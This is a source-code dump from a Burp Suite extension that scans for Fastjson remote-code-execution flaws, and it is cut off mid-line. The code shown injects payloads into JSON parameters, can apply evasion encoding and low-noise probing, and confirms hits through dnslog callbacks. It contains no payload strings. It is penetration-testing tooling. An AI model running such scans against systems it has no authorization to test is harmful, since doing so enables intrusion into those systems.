| // } 147 | // 148 | // private void input2_3(JPanel baseSetting, GridBagConstraints c) { 149 | // this.isScanPostJsonBox = new JCheckBox("扫描Post参数的Json", this.yamlReader.getBoolean("scan.type.isScanPostJson")); 150 | // this.isScanPostJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanPostJsonBox.getFont().getSize())); 151 | // c.insets = new Insets(5, 5, 5, 5); 152 | // c.gridx = 0; 153 | // c.gridy = 5; 154 | // baseSetting.add(this.isScanPostJsonBox, c); 155 | // } 156 | // 157 | // private void input2_4(JPanel baseSetting, GridBagConstraints c) { 158 | // this.isScanCookieJsonBox = new JCheckBox("扫描Cookie参数的Json", this.yamlReader.getBoolean("scan.type.isScanCookieJson")); 159 | // this.isScanCookieJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanCookieJsonBox.getFont().getSize())); 160 | // c.insets = new Insets(5, 5, 5, 5); 161 | // c.gridx = 0; 162 | // c.gridy = 6; 163 | // baseSetting.add(this.isScanCookieJsonBox, c); 164 | // } 165 | // 166 | // private void input2_5(JPanel baseSetting, GridBagConstraints c) { 167 | // this.isScanJsonBox = new JCheckBox("扫描Post请求的Json", this.yamlReader.getBoolean("scan.type.isScanJson")); 168 | // this.isScanJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanJsonBox.getFont().getSize())); 169 | // c.insets = new Insets(5, 5, 5, 5); 170 | // c.gridx = 0; 171 | // c.gridy = 7; 172 | // baseSetting.add(this.isScanJsonBox, c); 173 | // } 174 | // 175 | // private void input2_6(JPanel baseSetting, GridBagConstraints c) { 176 | // this.isScanBodyJsonBox = new JCheckBox("扫描HTTP请求正文的Json", this.yamlReader.getBoolean("scan.type.isScanBodyJson")); 177 | // this.isScanBodyJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanBodyJsonBox.getFont().getSize())); 178 | // c.insets = new Insets(5, 5, 5, 5); 179 | // c.gridx = 0; 180 | // c.gridy = 8; 181 | // baseSetting.add(this.isScanBodyJsonBox, c); 182 | // } 183 | 184 | private void input3_1(JPanel baseSetting, GridBagConstraints c) { 185 | JLabel br_lbl_3_1 = new JLabel("被动扫描模块配置"); 186 | br_lbl_3_1.setForeground(new Color(255, 89, 18)); 187 | br_lbl_3_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_3_1.getFont().getSize() + 2)); 188 | c.insets = new Insets(15, 5, 5, 5); 189 | c.gridx = 0; 190 | c.gridy = 5; 191 | baseSetting.add(br_lbl_3_1, c); 192 | } 193 | 194 | private void input3_2(JPanel baseSetting, GridBagConstraints c) { 195 | this.isStartLowPercept = new JCheckBox("低感知fastjson探测", this.yamlReader.getBoolean("application.lowPerceptionScan.config.isStart")); 196 | this.isStartLowPercept.setFont(new Font("Serif", Font.PLAIN, this.isStartBox.getFont().getSize())); 197 | c.insets = new Insets(5, 5, 5, 5); 198 | c.gridx = 0; 199 | c.gridy = 6; 200 | baseSetting.add(this.isStartLowPercept, c); 201 | } 202 | private void input3_3(JPanel baseSetting, GridBagConstraints c) { 203 | this.isStartCmdEchoExtensionBox = new JCheckBox("命令回显扩展-启动", this.yamlReader.getBoolean("application.cmdEchoExtension.config.isStart")); 204 | this.isStartCmdEchoExtensionBox.setFont(new Font("Serif", Font.PLAIN, this.isStartCmdEchoExtensionBox.getFont().getSize())); 205 | c.insets = new Insets(5, 5, 5, 5); 206 | c.gridx = 0; 207 | c.gridy = 7; 208 | baseSetting.add(this.isStartCmdEchoExtensionBox, c); 209 | } 210 | 211 | private void input3_4(JPanel baseSetting, GridBagConstraints c) { 212 | this.isStartRemoteCmdExtensionBox = new JCheckBox("远程命令扩展-启动", this.yamlReader.getBoolean("application.remoteCmdExtension.config.isStart")); 213 | this.isStartRemoteCmdExtensionBox.setFont(new Font("Serif", Font.PLAIN, this.isStartRemoteCmdExtensionBox.getFont().getSize())); 214 | c.insets = new Insets(5, 5, 5, 5); 215 | c.gridx = 0; 216 | c.gridy = 8; 217 | baseSetting.add(this.isStartRemoteCmdExtensionBox, c); 218 | } 219 | 220 | public Boolean isStart() { 221 | return this.isStartBox.isSelected(); 222 | } 223 | 224 | 225 | public Boolean isStartLowPercept() { 226 | return this.isStartLowPercept.isSelected(); 227 | } 228 | 229 | public Boolean isStartBypass() { 230 | return this.isStartBypass.isSelected(); 231 | } 232 | public void setDnslogName(String name) { 233 | this.dnslogName = name; 234 | } 235 | public String getDnslogName() { 236 | return dnslogName; 237 | } 238 | 239 | public Boolean isStartCmdEchoExtension() { 240 | return this.isStartCmdEchoExtensionBox.isSelected(); 241 | } 242 | 243 | public Boolean isStartRemoteCmdExtension() { 244 | return this.isStartRemoteCmdExtensionBox.isSelected(); 245 | } 246 | } -------------------------------------------------------------------------------- /src/main/java/burp/extension/scan/BaseScan.java: -------------------------------------------------------------------------------- 1 | package burp.extension.scan; 2 | 3 | import burp.*; 4 | import burp.bean.CustomBurpUrl; 5 | import burp.bean.Issus; 6 | import burp.bean.ScanResultType; 7 | import burp.dnslogs.DnslogInterface; 8 | import burp.extension.bypass.PayloadBypass; 9 | import burp.ui.Tags; 10 | import burp.utils.Customhelps; 11 | import burp.utils.YamlReader; 12 | 13 | import java.io.PrintWriter; 14 | import java.lang.reflect.InvocationTargetException; 15 | import java.net.URLEncoder; 16 | import java.text.SimpleDateFormat; 17 | import java.util.*; 18 | 19 | import static burp.utils.Customhelps.tabFormat; 20 | 21 | /** 22 | * @ClassName: BaseScan 23 | * @Auther: niko 24 | * @Date: 2025/2/7 21:50 25 | * @Description: 26 | */ 27 | public abstract class BaseScan { 28 | public PrintWriter stdout; 29 | protected IBurpExtenderCallbacks callbacks; 30 | 31 | protected IExtensionHelpers helpers; 32 | 33 | protected List payloads; 34 | 35 | protected IHttpRequestResponse iHttpRequestResponse; 36 | 37 | protected CustomBurpUrl customBurpUrl; 38 | protected List randomList; 39 | 40 | protected List iHttpRequestResponseList; 41 | 42 | protected String dnsName; 43 | protected YamlReader yamlReader; 44 | private boolean isBypass; 45 | private Integer startTime; 46 | 47 | protected BaseScan(IBurpExtenderCallbacks callbacks,IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) { 48 | this.callbacks = callbacks; 49 | this.helpers = helpers; 50 | this.payloads = new ArrayList<>(); 51 | this.yamlReader = YamlReader.getInstance(callbacks); 52 | this.iHttpRequestResponse = iHttpRequestResponse; 53 | this.dnsName = dnsName; 54 | this.customBurpUrl = new CustomBurpUrl(callbacks,iHttpRequestResponse); 55 | this.randomList = new ArrayList<>(); 56 | this.iHttpRequestResponseList = new ArrayList<>(); 57 | this.isBypass = isBypass; 58 | this.stdout = new PrintWriter(callbacks.getStdout(), true); 59 | this.startTime = Customhelps.getSecondTimestamp(new Date()); 60 | } 61 | 62 | protected IHttpRequestResponse run(String payload){ 63 | try { 64 | Thread.sleep(500); 65 | } catch (InterruptedException e) { 66 | throw new RuntimeException(e); 67 | } 68 | if (this.isBypass){ 69 | payload = PayloadBypass.processJson(payload,true); 70 | } 71 | 72 | 73 | List headers = customBurpUrl.getHttpRequestHeaders(); 74 | byte[] bytes = helpers.buildHttpMessage(headers, helpers.stringToBytes(payload)); 75 | IHttpRequestResponse newRequestResp = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(), bytes); 76 | this.customBurpUrl = new CustomBurpUrl(callbacks,newRequestResp); 77 | return newRequestResp; 78 | } 79 | 80 | 81 | protected IHttpRequestResponse run(String payloads,String key) { 82 | try { 83 | Thread.sleep(500); 84 | } catch (InterruptedException e) { 85 | throw new RuntimeException(e); 86 | } 87 | if (this.isBypass){ 88 | payloads = PayloadBypass.processJson(payloads,false); 89 | } 90 | byte[] request = iHttpRequestResponse.getRequest(); 91 | try { 92 | List parameters = customBurpUrl.getHttpRequestParameters(); 93 | // 寻找json param位置 94 | for (IParameter parameter:parameters){ 95 | if (key.equals(parameter.getName())){ 96 | IParameter newParam = null; 97 | // 如果参数在 URL 中 98 | if (parameter.getType() == IParameter.PARAM_URL) { 99 | newParam = helpers.buildParameter(key, URLEncoder.encode(payloads), IParameter.PARAM_URL); 100 | } 101 | // 如果参数在 POST body 中 102 | else if (parameter.getType() == IParameter.PARAM_BODY) { 103 | newParam = helpers.buildParameter(key, URLEncoder.encode(payloads), IParameter.PARAM_BODY); 104 | } 105 | request = helpers.updateParameter(request, newParam); 106 | IHttpRequestResponse newRequestResp = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(), request); 107 | 108 | this.customBurpUrl = new CustomBurpUrl(callbacks,newRequestResp); 109 | return newRequestResp; 110 | } 111 | } 112 | 113 | }catch (Exception e){ 114 | throw e; 115 | } 116 | return iHttpRequestResponse; 117 | } 118 | public abstract List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException; 119 | 120 | public void exportLogs(String extendName,String url,String key,String payload,String dnslogContent){ 121 | this.stdout.println(String.format("================%s扫描详情================",extendName)); 122 | this.stdout.println(String.format("扫描地址: %s", url)); 123 | this.stdout.println(String.format("扫描参数: %s", key!=null?key:"content-type: application/json")); 124 | this.stdout.println(String.format("扫描payload: %s", payload)); 125 | this.stdout.println(String.format("dnslog检测/响应包: %s", dnslogContent)); 126 | Date d = new Date(); 127 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 128 | String endTime = sdf.format(d); 129 | this.stdout.println(String.format("检测时间: %s", endTime)); 130 | this.stdout.println("========================================"); 131 | this.stdout.println(" "); 132 | } 133 | 134 | public abstract String getExtensionName(); 135 | 136 | public Issus TimeoutCheck(int count){ 137 | int maxExecutionTime = 15 * count; 138 | // 判断程序是否运行超时 139 | Integer currentTime = Customhelps.getSecondTimestamp(new Date()); 140 | Integer runTime = currentTime - startTime; 141 | if (runTime >= maxExecutionTime) { 142 | return new Issus(customBurpUrl.getHttpRequestUrl(), 143 | customBurpUrl.getRequestMethod(), 144 | this.getExtensionName(), 145 | customBurpUrl.getHttpResponseStatus(), 146 | "timeout", 147 | tabFormat(ScanResultType.WAIT_CONFIRM), 148 | iHttpRequestResponse, 149 | Issus.State.SAVE); 150 | } 151 | return null; 152 | } 153 | protected List checkoutDnslog(String extendName,DnslogInterface dnslog,Listrandlist,List httpRequestResponseList,List payloads,List versionList) { 154 | 155 | List issuses = new ArrayList<>(); 156 | String tabResult = null ; 157 | try { 158 | Thread.sleep(5000); 159 | } catch (InterruptedException e) { 160 | throw new RuntimeException(e); 161 | } 162 | if (extendName.equals("lowPerceptScan")){ 163 | tabResult = tabFormat(ScanResultType.IS_FASTJSON); 164 | } else if (extendName.equals("RemoteScan")) { 165 | tabResult = tabFormat(ScanResultType.PAYLOADS_FIND); 166 | } 167 | // 开始进行二次验证 168 | Issus issus; 169 | try { 170 | boolean isFirst = true; 171 | for (int i = 0; i < randlist.size(); i++) { 172 | String random = randlist.get(i); 173 | String dnsLogAllContent = ""; 174 | dnsLogAllContent = dnslog.getAllContent(random); 175 | try { 176 | Thread.sleep(1000); 177 | } catch (InterruptedException e) { 178 | throw new RuntimeException(e); 179 | } 180 | this.stdout.println(String.format("================%s二次校验详情================",extendName)); 181 | this.stdout.println(String.format("dnslog响应包: %s", dnsLogAllContent)); 182 | Date d = new Date(); 183 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 184 | String endTime = sdf.format(d); 185 | this.stdout.println(String.format("检测时间: %s", endTime)); 186 | this.stdout.println("========================================\n"); 187 | if (dnsLogAllContent == null){ 188 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 189 | customBurpUrl.getRequestMethod(), 190 | this.getExtensionName(), 191 | customBurpUrl.getHttpResponseStatus(), 192 | null, 193 | tabFormat(ScanResultType.NOT_FOUND), 194 | httpRequestResponseList.get(i), 195 | Issus.State.SAVE); 196 | issuses.add(issus); 197 | return issuses; 198 | } 199 | // dnslog 内容匹配判断 200 | if (!dnsLogAllContent.contains(random)) { 201 | if ((i + 1) != randlist.size()) { 202 | continue; 203 | } else { 204 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 205 | customBurpUrl.getRequestMethod(), 206 | this.getExtensionName(), 207 | customBurpUrl.getHttpResponseStatus(), 208 | null, 209 | tabFormat(ScanResultType.NOT_FOUND), 210 | httpRequestResponseList.get(i), 211 | Issus.State.SAVE); 212 | issuses.add(issus); 213 | return issuses; 214 | } 215 | } 216 | if (extendName.equals("versionDetect")){ 217 | tabResult = tabFormat(ScanResultType.VERSION_INFO,versionList.get(i)); 218 | } 219 | if (isFirst){ 220 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 221 | customBurpUrl.getRequestMethod(), 222 | this.getExtensionName(), 223 | customBurpUrl.getHttpResponseStatus(), 224 | payloads.get(i), 225 | tabResult, 226 | httpRequestResponseList.get(i), 227 | Issus.State.SAVE); 228 | issuses.add(issus); 229 | isFirst = false; 230 | }else { 231 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 232 | customBurpUrl.getRequestMethod(), 233 | this.getExtensionName(), 234 | customBurpUrl.getHttpResponseStatus(), 235 | payloads.get(i), 236 | tabResult, 237 | httpRequestResponseList.get(i), 238 | Issus.State.ADD); 239 | issuses.add(issus); 240 | } 241 | } 242 | return issuses; 243 | } catch (Exception e) { 244 | // 抛出dnslog平台error 245 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 246 | customBurpUrl.getRequestMethod(), 247 | this.getExtensionName(), 248 | customBurpUrl.getHttpResponseStatus(), 249 | null, 250 | tabFormat(ScanResultType.DNS_ERROR), 251 | this.iHttpRequestResponse, 252 | Issus.State.SAVE); 253 | issuses.add(issus); 254 | return issuses; 255 | } 256 | } 257 | 258 | } 259 | -------------------------------------------------------------------------------- /src/main/java/burp/FastjsonScan.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import burp.bean.CustomBurpUrl; 4 | import burp.bean.Issus; 5 | import burp.dnslogs.DnsLog; 6 | import burp.dnslogs.DnslogInterface; 7 | import burp.extension.ScanFactory; 8 | import burp.extension.scan.BaseScan; 9 | import burp.ui.Tags; 10 | import burp.utils.FindJsons; 11 | import burp.utils.YamlReader; 12 | 13 | import javax.swing.*; 14 | import java.awt.event.ActionEvent; 15 | import java.awt.event.ActionListener; 16 | import java.io.BufferedWriter; 17 | import java.io.File; 18 | import java.io.FileWriter; 19 | import java.io.PrintWriter; 20 | import java.text.SimpleDateFormat; 21 | import java.util.*; 22 | import java.util.concurrent.CompletableFuture; 23 | 24 | /** 25 | * @ClassName: FastjsonScan 26 | * @Auther: niko 27 | * @Date: 2025/1/16 17:07 28 | * @Description: 29 | */ 30 | public class FastjsonScan implements IBurpExtender,IExtensionStateListener,IScannerCheck,IContextMenuFactory{ 31 | private IBurpExtenderCallbacks callbacks; 32 | public String name = "FastjsonScan4Burp"; 33 | public String version = "1.0.1"; 34 | private IExtensionHelpers helpers; 35 | private Tags tags; 36 | private YamlReader yamlReader; 37 | private PrintWriter stdout; 38 | @Override 39 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { 40 | this.callbacks = callbacks; 41 | callbacks.setExtensionName(name); 42 | this.helpers = callbacks.getHelpers(); 43 | this.stdout = new PrintWriter(callbacks.getStdout(), true); 44 | this.tags = new Tags(callbacks, name); 45 | this.stdout.println("================插件正在加载================"); 46 | this.stdout.println("插件名称: " + name); 47 | this.stdout.println("当前版本: " + version); 48 | this.yamlReader = YamlReader.getInstance(callbacks); 49 | 50 | this.stdout.println("配置文件加载成功"); 51 | this.stdout.println(String.format("当前dns平台为: %s", this.tags.getBaseSettingTagClass().getDnslogName())); 52 | // try { 53 | // new DnsLog(callbacks, this.tags.getBaseSettingTagClass().getDnslogName()).run(); 54 | // } catch (Exception e) { 55 | // throw new RuntimeException(e); 56 | // } 57 | this.stdout.println("下载地址: https://github.com/Niiiiko/FastjsonScan"); 58 | this.stdout.println("================插件加载成功================"); 59 | callbacks.registerScannerCheck(this); 60 | callbacks.registerContextMenuFactory(this); 61 | } 62 | 63 | @Override 64 | public void extensionUnloaded() { 65 | 66 | } 67 | 68 | @Override 69 | public List doPassiveScan(IHttpRequestResponse iHttpRequestResponse) { 70 | // 判断是否开启插件 71 | if (!this.tags.getBaseSettingTagClass().isStart()) { 72 | return null; 73 | } 74 | 75 | List issues = new ArrayList<>(); 76 | 77 | List domainNameBlacklist = this.yamlReader.getStringList("scan.domainName.blacklist"); 78 | List domainNameWhitelist = this.yamlReader.getStringList("scan.domainName.whitelist"); 79 | 80 | // 基础url解析 81 | CustomBurpUrl baseBurpUrl = new CustomBurpUrl(this.callbacks, iHttpRequestResponse); 82 | // 判断域名黑名单 83 | if (domainNameBlacklist != null && domainNameBlacklist.size() >= 1) { 84 | if (isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameBlacklist)) { 85 | return null; 86 | } 87 | } 88 | 89 | // 判断域名白名单 90 | if (domainNameWhitelist != null && domainNameWhitelist.size() >= 1) { 91 | if (!isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameWhitelist)) { 92 | return null; 93 | } 94 | } 95 | // 判断当前请求后缀,是否为url黑名单后缀 96 | if (this.isUrlBlackListSuffix(baseBurpUrl)) { 97 | return null; 98 | } 99 | // 判断当前站点问题数量是否超出了 100 | Integer issueNumber = this.yamlReader.getInteger("scan.issueNumber"); 101 | if (issueNumber != 0) { 102 | Integer siteIssueNumber = this.getSiteIssueNumber(baseBurpUrl.getRequestDomainName()); 103 | if (siteIssueNumber >= issueNumber) { 104 | this.tags.getScanQueueTagClass().add( 105 | "", 106 | this.helpers.analyzeRequest(iHttpRequestResponse).getMethod(), 107 | baseBurpUrl.getHttpRequestUrl().toString(), 108 | this.helpers.analyzeResponse(iHttpRequestResponse.getResponse()).getStatusCode() + "", 109 | "the number of website problems has exceeded", 110 | iHttpRequestResponse 111 | ); 112 | return null; 113 | } 114 | } 115 | // 判断当前站点是否超出扫描数量了 116 | Integer siteScanNumber = this.yamlReader.getInteger("scan.siteScanNumber"); 117 | if (siteScanNumber != 0) { 118 | Integer siteJsonNumber = this.getSiteJsonNumber(baseBurpUrl.getRequestDomainName()); 119 | if (siteJsonNumber >= siteScanNumber) { 120 | this.tags.getScanQueueTagClass().add( 121 | "", 122 | this.helpers.analyzeRequest(iHttpRequestResponse).getMethod(), 123 | baseBurpUrl.getHttpRequestUrl().toString(), 124 | this.helpers.analyzeResponse(iHttpRequestResponse.getResponse()).getStatusCode() + "", 125 | "the number of website scans exceeded", 126 | iHttpRequestResponse 127 | ); 128 | 129 | return null; 130 | } 131 | } 132 | FindJsons findJsons = new FindJsons(helpers, iHttpRequestResponse); 133 | List tabIssues = null; 134 | // 判断是否开启低感知插件 135 | if (this.tags.getBaseSettingTagClass().isStartLowPercept()) { 136 | try { 137 | tabIssues = scan(iHttpRequestResponse,"lowPerceptScan"); 138 | } catch (Exception e){ 139 | throw new RuntimeException(e); 140 | } 141 | if (tabIssues != null){ 142 | for (Issus tabIssue:tabIssues){ 143 | if (tabIssue.getPayload() !=null) 144 | issues.add(tabIssue); 145 | } 146 | } 147 | } 148 | 149 | if (this.tags.getBaseSettingTagClass().isStartRemoteCmdExtension()) { 150 | // 正常扫描逻辑 151 | try { 152 | tabIssues = scan(iHttpRequestResponse,"RemoteScan"); 153 | } catch (Exception e) { 154 | throw new RuntimeException(e); 155 | } 156 | if (tabIssues != null){ 157 | for (Issus tabIssue:tabIssues){ 158 | if (tabIssue.getPayload() !=null) 159 | issues.add(tabIssue); 160 | } 161 | } 162 | } 163 | 164 | if (this.tags.getBaseSettingTagClass().isStartCmdEchoExtension()) { 165 | try { 166 | tabIssues = scan(iHttpRequestResponse,"CmdEchoScan"); 167 | } catch (Exception e) { 168 | throw new RuntimeException(e); 169 | } 170 | if (tabIssues != null){ 171 | for (Issus tabIssue:tabIssues){ 172 | if (tabIssue.getPayload() !=null) 173 | issues.add(tabIssue); 174 | } 175 | } 176 | } 177 | 178 | return issues; 179 | } 180 | /** 181 | * 探测依赖扫描模块 182 | * 183 | * @param iHttpRequestResponse 184 | * @param mode 185 | * @return 186 | */ 187 | private List scan(IHttpRequestResponse iHttpRequestResponse, String mode){ 188 | FindJsons findJsons = new FindJsons(helpers, iHttpRequestResponse); 189 | String url = helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(); 190 | String method = helpers.analyzeRequest(iHttpRequestResponse).getMethod(); 191 | String statusCode = String.valueOf(helpers.analyzeResponse(iHttpRequestResponse.getResponse()).getStatusCode()); 192 | 193 | String key = null; 194 | BaseScan baseScan = null; 195 | int id; 196 | // 判断数据包中是否存在json,有则加入到tags中 197 | if (!findJsons.isParamsJson().isFlag()&&!findJsons.isContypeJson().isFlag()) { 198 | this.tags.getScanQueueTagClass().add( 199 | method, 200 | method, 201 | url, 202 | statusCode, 203 | "[×] json not find", 204 | iHttpRequestResponse); 205 | return null; 206 | } 207 | // 判断数据包中是否存在json,有则加入到tags中 208 | if (findJsons.isParamsJson().isFlag()) { 209 | // 先添加任务 210 | id = this.tags.getScanQueueTagClass().add( 211 | method, 212 | method, 213 | url, 214 | statusCode, 215 | "find json param.wait for testing.", 216 | iHttpRequestResponse); 217 | key = findJsons.isParamsJson().getKey(); 218 | } else if (findJsons.isContypeJson().isFlag()) { 219 | // 先添加任务 220 | id = this.tags.getScanQueueTagClass().add( 221 | method, 222 | method, 223 | url, 224 | statusCode, 225 | "find json body. wait for testing.", 226 | iHttpRequestResponse); 227 | } else { 228 | return null; 229 | } 230 | try { 231 | baseScan = ScanFactory.createScan(mode, iHttpRequestResponse, helpers, callbacks,this.tags.getBaseSettingTagClass().isStartBypass(),this.tags.getBaseSettingTagClass().getDnslogName()); 232 | } catch (Exception e) { 233 | this.stdout.println("================模块实例化异常================"); 234 | this.stdout.println(String.format("异常模块: %s", mode)); 235 | this.stdout.println(e); 236 | this.stdout.println("========================================"); 237 | } 238 | if (baseScan == null) { 239 | return null; 240 | } 241 | 242 | // 循环调用dnslog,填入payload 243 | List tabIssues = null; 244 | try { 245 | this.stdout.println("================开始扫描================"); 246 | this.stdout.println(String.format("扫描模块%s", mode)); 247 | this.stdout.println(String.format("扫描地址%s", url)); 248 | this.stdout.println("========================================"); 249 | tabIssues = baseScan.insertPayloads(key); 250 | } catch (Exception e) { 251 | this.stdout.println("================扫描异常================"); 252 | this.stdout.println(String.format("模块调用异常: %s", mode)); 253 | this.stdout.println(e); 254 | this.stdout.println("========================================"); 255 | this.tags.getScanQueueTagClass().save( 256 | id, 257 | method, 258 | method, 259 | url, 260 | statusCode, 261 | "[×] Unknown Error: " + e, 262 | iHttpRequestResponse); 263 | return null; 264 | } 265 | for (Issus tabIssue:tabIssues){ 266 | ResultOutput(tabIssue); 267 | switch (tabIssue.getState()){ 268 | case SAVE: 269 | this.tags.getScanQueueTagClass().save(id, 270 | tabIssue.getExtentsionMethod(), 271 | tabIssue.getMethod(), 272 | tabIssue.getUrl().toString(), 273 | tabIssue.getStatus(), 274 | tabIssue.getResult(), 275 | tabIssue.getiHttpRequestResponse()); 276 | break; 277 | case ADD: 278 | this.tags.getScanQueueTagClass().add( 279 | tabIssue.getExtentsionMethod(), 280 | tabIssue.getMethod(), 281 | tabIssue.getUrl().toString(), 282 | tabIssue.getStatus(), 283 | tabIssue.getResult(), 284 | tabIssue.getiHttpRequestResponse()); 285 | break; 286 | } 287 | } 288 | return tabIssues; 289 | } 290 | 291 | @Override 292 | public List doActiveScan(IHttpRequestResponse iHttpRequestResponse, IScannerInsertionPoint iScannerInsertionPoint) { 293 | return null; 294 | } 295 | private synchronized void ResultOutput(Issus issus) { 296 | int lastIndexOf = callbacks.getExtensionFilename().lastIndexOf(File.separator); 297 | String path = ""; 298 | path = callbacks.getExtensionFilename().substring(0,lastIndexOf) + File.separator + "resources/Result.txt"; 299 | try (BufferedWriter writer = new BufferedWriter(new FileWriter(path, true))) { 300 | String result = issus.getPayload(); 301 | if (result !=null) { 302 | writer.write("====================================================\n\n"); 303 | writer.write(String.format("url: %s",issus.getUrl().toString())); 304 | writer.newLine(); 305 | writer.write(String.format("扫描模块: %s",issus.getExtentsionMethod())); 306 | writer.newLine(); 307 | writer.write(String.format("payload: %s",issus.getPayload())); 308 | writer.newLine(); 309 | writer.write(String.format("扫描结果: %s",issus.getResult())); 310 | writer.newLine(); 311 | Date d = new Date(); 312 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 313 | String endTime = sdf.format(d); 314 | writer.write(endTime); 315 | writer.newLine(); 316 | writer.write("====================================================\n\n"); 317 | } 318 | System.out.println("写入完成"); 319 | } catch (Exception e) { 320 | e.printStackTrace(); 321 | } 322 | } 323 | 324 | @Override 325 | public int consolidateDuplicateIssues(IScanIssue iScanIssue, IScanIssue iScanIssue1) { 326 | return 0; 327 | } 328 | 329 | /** 330 | * 判断是否查找的到指定的域名 331 | * 332 | * @param domainName 需匹配的域名 333 | * @param domainNameList 待匹配的域名列表 334 | * @return 335 | */ 336 | private static Boolean isMatchDomainName(String domainName, List domainNameList) { 337 | domainName = domainName.trim(); 338 | 339 | if (domainName.length() <= 0) { 340 | return false; 341 | } 342 | 343 | if (domainNameList == null || domainNameList.size() <= 0) { 344 | return false; 345 | } 346 | 347 | if (domainName.contains(":")) { 348 | domainName = domainName.substring(0, domainName.indexOf(":")); 349 | } 350 | 351 | String reverseDomainName = new StringBuffer(domainName).reverse().toString(); 352 | 353 | for (String domainName2 : domainNameList) { 354 | domainName2 = domainName2.trim(); 355 | 356 | if (domainName2.length() <= 0) { 357 | continue; 358 | } 359 | 360 | if (domainName2.contains(":")) { 361 | domainName2 = domainName2.substring(0, domainName2.indexOf(":")); 362 | } 363 | 364 | String reverseDomainName2 = new StringBuffer(domainName2).reverse().toString(); 365 | 366 | if (domainName.equals(domainName2)) { 367 | return true; 368 | } 369 | 370 | if (reverseDomainName.contains(".") && reverseDomainName2.contains(".")) { 371 | List splitDomainName = new ArrayList(Arrays.asList(reverseDomainName.split("[.]"))); 372 | 373 | List splitDomainName2 = new ArrayList(Arrays.asList(reverseDomainName2.split("[.]"))); 374 | 375 | if (splitDomainName.size() <= 0 || splitDomainName2.size() <= 0) { 376 | continue; 377 | } 378 | 379 | if (splitDomainName.size() < splitDomainName2.size()) { 380 | for (int i = splitDomainName.size(); i < splitDomainName2.size(); i++) { 381 | splitDomainName.add("*"); 382 | } 383 | } 384 | 385 | if (splitDomainName.size() > splitDomainName2.size()) { 386 | for (int i = splitDomainName2.size(); i < splitDomainName.size(); i++) { 387 | splitDomainName2.add("*"); 388 | } 389 | } 390 | 391 | int ii = 0; 392 | for (int i = 0; i < splitDomainName.size(); i++) { 393 | if (splitDomainName2.get(i).equals("*")) { 394 | ii = ii + 1; 395 | } else if (splitDomainName.get(i).equals(splitDomainName2.get(i))) { 396 | ii = ii + 1; 397 | } 398 | } 399 | 400 | if (ii == splitDomainName.size()) { 401 | return true; 402 | } 403 | } 404 | } 405 | return false; 406 | } 407 | /** 408 | * 判断是否url黑名单后缀 409 | * 大小写不区分 410 | * 是 = true, 否 = false 411 | * 412 | * @param burpUrl 413 | * @return 414 | */ 415 | private boolean isUrlBlackListSuffix(CustomBurpUrl burpUrl) { 416 | if (!this.yamlReader.getBoolean("urlBlackListSuffix.config.isStart")) { 417 | return false; 418 | } 419 | 420 | String noParameterUrl = burpUrl.getHttpRequestUrl().toString().split("\\?")[0]; 421 | String urlSuffix = noParameterUrl.substring(noParameterUrl.lastIndexOf(".") + 1); 422 | 423 | List suffixList = this.yamlReader.getStringList("urlBlackListSuffix.suffixList"); 424 | if (suffixList == null || suffixList.size() == 0) { 425 | return false; 426 | } 427 | 428 | for (String s : suffixList) { 429 | if (s.toLowerCase().equals(urlSuffix.toLowerCase())) { 430 | return true; 431 | } 432 | } 433 | 434 | return false; 435 | } 436 | /** 437 | * 网站问题数量 438 | * 439 | * @param domainName 440 | * @return 441 | */ 442 | private Integer getSiteIssueNumber(String domainName) { 443 | Integer number = 0; 444 | 445 | String issueName = this.yamlReader.getString("application.cmdEchoExtension.config.issueName"); 446 | // String issueName2 = this.yamlReader.getString("application.remoteCmdExtension.config.issueName"); 447 | issueName = "fastjson rce"; 448 | for (IScanIssue Issue : this.callbacks.getScanIssues(domainName)) { 449 | if (Issue.getIssueName().equals(issueName)) { 450 | number++; 451 | } 452 | } 453 | 454 | return number; 455 | } 456 | private Integer getSiteJsonNumber(String domain){ 457 | Integer number = 0; 458 | for(IHttpRequestResponse iHttpRequestResponse :this.callbacks.getSiteMap(domain)){ 459 | FindJsons findJsons = new FindJsons(helpers, iHttpRequestResponse); 460 | if (findJsons.isParamsJson().isFlag()||findJsons.isContypeJson().isFlag()){ 461 | number ++; 462 | } 463 | } 464 | return number; 465 | } 466 | 467 | @Override 468 | public List createMenuItems(IContextMenuInvocation iContextMenuInvocation) { 469 | List menuItems = new ArrayList<>(); 470 | if (iContextMenuInvocation.getToolFlag() != IBurpExtenderCallbacks.TOOL_REPEATER && iContextMenuInvocation.getToolFlag()!=IBurpExtenderCallbacks.TOOL_PROXY){ 471 | return menuItems; 472 | } 473 | JMenuItem jMenuItem = new JMenuItem("远程命令拓展扫描"); 474 | jMenuItem.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"RemoteScan")); 475 | JMenuItem jMenuItem2 = new JMenuItem("命令回显拓展扫描"); 476 | jMenuItem2.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"CmdEchoScan")); 477 | JMenuItem jMenuItem3 = new JMenuItem("版本探测"); 478 | jMenuItem3.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"versionDetect")); 479 | JMenuItem jMenuItem4 = new JMenuItem("依赖探测"); 480 | jMenuItem4.addActionListener(new 